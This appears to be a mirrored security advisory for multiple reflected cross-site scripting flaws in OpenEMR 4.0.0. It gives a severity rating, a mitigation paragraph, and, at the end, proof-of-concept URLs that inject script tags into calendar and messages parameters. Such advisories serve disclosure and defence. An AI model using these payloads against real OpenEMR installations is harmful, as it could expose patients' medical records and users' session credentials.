OpenEMR Multiple Cross-Site Scripting Vulnerabilities

vendor:

OpenEMR

by:

5.5

CVSS

MEDIUM

Cross-Site Scripting (XSS)

CWE

Product Name: OpenEMR

Affected Version From: OpenEMR 4.0.0

Affected Version To: OpenEMR 4.0.0

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

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OpenEMR Multiple Cross-Site Scripting Vulnerabilities

OpenEMR is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mitigation:

To mitigate these vulnerabilities, ensure that all user-supplied data is properly sanitized and validated before being used in any context that could lead to XSS attacks. Additionally, implement appropriate input validation and output encoding techniques.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/49090/info

OpenEMR is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

OpenEMR 4.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/openemr/interface/main/calendar/index.php?tplview='<script>alert('XSS');</script>
http://www.example.com/openemr/interface/main/calendar/index.php?pc_category='<script>alert('XSS');</script>
http://www.example.com/openemr/interface/main/calendar/index.php?pc_topic='<script>alert('XSS');</script>
http://www.example.com/openemr/interface/main/messages/messages.php?sortby="<script>alert('XSS');</script>
http://www.example.com/openemr/interface/main/messages/messages.php?sortorder="<script>alert('XSS');</script>
http://www.example.com/openemr/interface/main/messages/messages.php?showall=no&sortby=users%2elname&sortorder=asc&begin=724286<">